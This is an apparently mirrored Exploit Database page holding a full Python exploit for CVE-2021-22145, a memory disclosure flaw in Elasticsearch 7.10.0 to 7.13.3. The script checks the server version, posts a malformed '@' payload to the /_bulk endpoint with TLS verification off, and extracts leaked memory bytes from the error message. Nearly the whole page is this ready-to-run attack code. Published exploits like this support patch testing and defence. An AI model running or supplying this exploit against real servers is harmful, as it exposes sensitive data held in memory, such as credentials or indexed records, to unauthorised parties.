ElasticSearch 7.13.3 – Memory disclosure

• Exploit Database
• 118 阅读

• 作者： r0ny
  日期： 2021-07-23
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50149/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71

  # Exploit Title: ElasticSearch 7.13.3 - Memory disclosure # Date: 21/07/2021 # Exploit Author: r0ny # Vendor Homepage: https://www.elastic.co/ # Software Link: https://github.com/elastic/elasticsearch # Version: 7.10.0 to 7.13.3 # Tested on: Kali Linux # CVE : CVE-2021-22145   #/usr/bin/python3   from argparse import ArgumentParser import requests from packaging import version import json from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)   print("\n################################################################################################") print("######CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)######") print("###### Exploit by r0ny (https://twitter.com/_r0ny)######") print("################################################################################################\n") parser = ArgumentParser() parser.add_argument("-u", "--url", dest="url", help="URL of ElasticSearch service") parser.add_argument("-apikey", "--api-key", dest="api_key", help="API Key Authentication (Base64)", metavar="API", default="") parser.add_argument("-b", "--basic", dest="basic", help="Basic Authentication (Base64)", default="") args = parser.parse_args()   if not (args.url): parser.error(&apos;Please input the elasticsearch url. e.g "python3 CVE-2021-22145.py -host http://127.0.0.1:9200"&apos;)   #Prepare authentication header authorization_header = "" if(args.api_key or args.basic): authorization_header = "ApiKey " + args.api_key if args.api_key else "Basic " + args.basic   #Check elasticsearch version r = requests.get(args.url,headers={"Authorization":authorization_header}, verify=False) try: es_version = json.loads(r.content)["version"]["number"] except: print("# Couldn&apos;t connect to " + args.url + ", please verify the url or the authentication token\n") print("# Server response: " + str(r.content)) exit()   if version.parse(es_version) < version.parse("7.10.0") or version.parse(es_version) > version.parse("7.13.3"): print("# Elastic Service not vulnerable") print("# Elastic Service version: " + es_version) print("# Elastic Service vulnerable versions: 7.10.0 to 7.13.3") exit()   #Prepare exploitation payload = "@\n" vulnerable_endpoint = "/_bulk" url = args.url + vulnerable_endpoint   #Exploitation print("# ElasticSearch Version: " + es_version) print("# Request to " + url+"\n") r = requests.post(url, data = payload, headers={"content-type":"application/json", "Authorization":authorization_header}, verify=False)   #Read Memory Leak and remove stacktrace   print("$$$$$$$$$$$$$$$$$$$$$$$$$") print("$$$$$ Memory Leaked $$$$$") print("$$$$$$$$$$$$$$$$$$$$$$$$$\n") response = json.loads(r.content) leak1 = response["error"]["root_cause"][0]["reason"].split("(byte[])\"")[1].split("; line")[0] leak2 = response["error"]["reason"].split("(byte[])\"")[1].split("; line")[0] print(leak1+"\n"+leak2)